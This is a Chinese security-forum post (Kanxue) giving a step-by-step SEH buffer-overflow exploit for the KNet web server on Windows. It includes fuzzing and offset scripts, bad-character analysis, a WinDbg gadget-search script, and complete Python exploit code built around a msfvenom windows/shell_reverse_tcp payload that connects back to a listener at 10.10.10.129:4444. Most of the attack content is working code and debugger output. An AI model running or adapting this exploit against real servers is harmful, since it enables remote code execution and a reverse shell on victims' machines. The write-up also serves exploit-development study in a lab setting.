首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
二进制漏洞
发新帖
0
1
[原创] Windows SEH 溢出漏洞分析记录 - KNet
发表于: 2025-12-23 20:40
14667
[原创] Windows SEH 溢出漏洞分析记录 - KNet
Cypher.M
3
2025-12-23 20:40
14667
# Windows SEH 溢出漏洞分析记录 - KNet ## 1.Fuzz 测试 正常安装以后准备一个目录,随便放个`index.html`然后开启web服务即可  然后写一个模糊测试脚本 ```python #!/usr/bin/python import socket, sys host = sys.argv[1] port = 80 size = 2000 def send_exploit_request(): buffer = b"\x41" * size #HTTP Request request = buffer + b" / HTTP/1.0\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(request) # print(s.recv(1024)) s.close() if __name__ == "__main__": send_exploit_request() ``` 执行脚本,在windbg当中查看程序内存,肉眼可见,这个后续空间绝对不够写shellcode。优点是只有这一个SEH结构。  ## 2.溢出位置计算 msf生成有序字符串并且查询 ``` msf-pattern_create -l 2000 ``` windbg输出 ``` 0:000> !exchain 0014ffcc: 39714238 Invalid exception stack at 71423771 ``` 查询字符串位置 ``` msf-pattern_offset -q 39714238 ```  修改代码 ```python Next_Seh = b'B' * 4 SE_Handler = b'C' * 4 buffer = b'A' * 1282 + Next_Seh + SE_Handler buffer += b'D' * (size - len(buffer)) ``` `windbg`验证,一切符合预期。  ## 3.坏字符检测 修改代码 ```python Next_Seh = b'B' * 4 SE_Handler = b'C' * 4 badchars = b'\x01\x02......' # badchars buffer = b'A' * 1282 + Next_Seh + SE_Handler + badchars buffer += b'D' * (size - len(buffer)) ``` 这里有点意外,`\x0a`竟然不是坏字符,一般来说web服务,`\x0a`都是坏字符。(**这里有个坑,具体在Get shell部分详细说**)  就常规的找坏字符的方式找出所有坏字符 ``` \x00 \x0d \x0e \x0f \x20 ``` ## 4.PPR指令查找 还是使用`narly`,首先查看程序本身,`00400000 00418000 KNet `这个地址本身就包含坏字符。所以`PPR`指令肯定不能从这里找,`CRTDLL`的地址很合适,但是需要首先了解一下这个dll的特性。 根据介绍,它是微软 Windows 系统中最古老的 C 语言运行时库之一。它是为了支持 Windows 95 和 Windows NT 3.x 时代的应用程序而设计的。它已经被废弃(Deprecated)很久了。现代程序通常使用 `msvcrt.dll`、`vcruntime140.dll` 或通用的 `ucrtbase.dll`。但是,为了保持向后兼容性(让几十年前的老软件还能在 Win10/Win11 上运行),微软一直把它保留在 `C:\Windows\System32` 中。也就是说,这是一个为了兼容性保留的“遗留文件”,微软绝不会轻易修改它的代码逻辑,除非发现它内部有惊天动地的安全漏洞。`CRTDLL.dll` 是一个更新频率极低、Gadget 丰富的好东西,是可以利用的。 并且一般状况下,这个DLL即使是在现代系统上也不会开启保护,所以这里查询的时候,可以看到`SafeSEH OFF`  OK,写个脚本 ``` .block { .for (r $t0 = 0x58; $t0 < 0x5F; r $t0 = $t0 + 0x01) { .for (r $t1 = 0x58; $t1 < 0x5F; r $t1 = $t1 + 0x01) { s-[1]b 10010000 10037000 $t0 $t1 c3 } } } ``` 加载`windbg` ``` 0:000> $><C:\Users\Cypher\Desktop\find_ppr.wds 0x10016190 0x10017071 0x1001739b 0x10017dff 0x10018119 0x100181f7 0x1001a93b 0x1001b613 0x1001c119 ...... ``` 修改代码 ```python #!/usr/bin/python import socket, sys host = sys.argv[1] port = 80 size = 2000 def send_exploit_request(): Next_Seh = b'\xeb\x06\x90\x90' # jmp short 0x8; nop; nop SE_Handler = b'\x90\x61\x01\x10' # 0x10016190 CRTDLL!open_osfhandle+0x9a: pop ebx;pop ebp;ret # badchars \x00 \x0d \x0e \x0f \x20 shellcode = b'\x90' * 12 shellcode += b'\x90' * (400 - len(shellcode)) jmp_shellcode = b'\x90' * 4 + b'\xE9\x6A\xFE\xFF\xFF' # E96AFEFFFF jmp 0xfffffe6f buffer = b'A' * 882 + shellcode + Next_Seh + SE_Handler + jmpshel buffer += b'D' * (size - len(buffer)) #HTTP Request request = buffer + b" / HTTP/1.0\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(request) # print(s.recv(1024)) s.close() if __name__ == "__main__": send_exploit_request() ``` ## 5.Get Shell 关于坏字符,按照常理来说,此时只需要把shellcode替换,即可正常反弹shell。但是实操起来会发现,遇到各种崩溃。前后的部分都好好的,但是在执行到shellcode以后,就会崩溃了。 查看此时代码: ```python # msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.129 lport=4444 -f python -v shellcode -e x86/shikata_ga_nai -b '\x00\x0d\x0e\x0f\x20' shellcode = b'\x90' * 30 shellcode += ..... ``` 这样执行以后查看`windbg`,通过这个调试记录可以清晰的看到是走到了`msf`生成的`shellcode`当中的解码器部分,但是在执行到某一个点的时候崩溃了。  这个问题就出在坏字符上,这里引入一个概念**上下文相关的坏字符**。 先说答案`\x0a`和`\x25`也是坏字符。 `\x25`在HTTP当中是`%`,当发送 `\x01\x02...\x24\x25\x26...` 时,`\x25` (%) 后面紧跟着的是 `\x26` (&)。 在 Web 服务器看来,它收到了字符串 `...$%&...`服务器尝试进行 URL 解码。它虽然看到了 `%`,但是看后面两个字符,后面是 `&`。在 Hex 中,`&` 不是一个有效的十六进制数字(0-9, A-F)。所以,服务器判断这不是一个合法的 URL 编码序列,于是原样保留了 `%`。最终结果就是内存里看到了 `25`,所以认为它是安全的。 `\x0a`这个在大部分HTTP的情境下都是坏字符,但是测试坏字符的时候能够正常显示,原因在于,它的行为取决于它出现在哪里。坏字符测试时是这样的,`\x0a` 夹在一堆字符中间(`buffer = b'A' *......`)。KNet Web Server 可能有一个比较“宽容”的缓冲区读取逻辑,它可能是一次性 `recv` 固定长度,或者在看到连续的 `\r\n\r\n` 之前不停止。在简单的线性测试中,它可能侥幸过关,或者被当作普通字符读入缓冲区。但是,当我们把`\x0a`写入`shellcode`,就变成了这样`GET /<Shellcode> HTTP/1.0`服务可能认为 `GET` 请求到`\x0a`这里就完了,后面的字节被当作了下一行(Header)来处理,而不是 URI 的一部分。所以最终结果就是虽然在内存当中能够看到完整的`shellcode`,但是他却无法完整的解码执行。 OK了解到所有的原因,处理这个点就非常简单了,在生成`shellcode`的时候加上这个坏字符即可。 ```python #!/usr/bin/python import socket, sys host = sys.argv[1] port = 80 size = 2000 def send_exploit_request(): Next_Seh = b'\xeb\x06\x90\x90' # jmp short 0x8; nop; nop SE_Handler = b'\x90\x61\x01\x10' # 0x10016190 CRTDLL!open_osfhandle+0x9a: pop ebx;pop ebp;ret # \x00 \x0d \x0e \x0f \x20 \x0a \x25 # msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.129 lport=4444 -f python -v shellcode -e x86/shikata_ga_nai EXITFUNC=thread -b '\x00\x0d\x0e\x0f\x20\x25' shellcode = b'\x90' * 30 shellcode += b"\xdb\xdb\xbf\x47\xef\x53\x34\xd9\x74\x24\xf4" ..... shellcode += b'\x90' * (400 - len(shellcode)) jmp_shellcode = b'\x90' * 4 + b'\xE9\x6A\xFE\xFF\xFF' # E96AFEFFFF jmp 0xfffffe6f buffer = b'A' * 882 + shellcode + Next_Seh + SE_Handler + jmp_shellcode buffer += b'D' * (size - len(buffer)) #HTTP Request request = buffer + b" / HTTP/1.0\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(request) # print(s.recv(1024)) s.close() if __name__ == "__main__": send_exploit_request() ``` 
登录后可查看完整内容
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
#漏洞分析
#漏洞利用
#缓冲区溢出
#Fuzz
#Windows
收藏
・
0
点赞
・
1
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
wx_晨梦
你的分享对大家帮助很大,非常感谢!
2026-7-16 06:51
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
0
)
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
Cypher.M
3
8
发帖
2
回帖
160
RANK
关注
私信
他的文章
[原创] exploit-db exp 优化SEH Egghunter
13503
[原创] Egg Hunter 技术详解
23175
[原创] ***RCE分析记录
29425
[原创] Windows SEH 溢出漏洞分析记录 - KNet
14667
[原创] SEH 溢出调试分析记录-Diskpls
17392
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部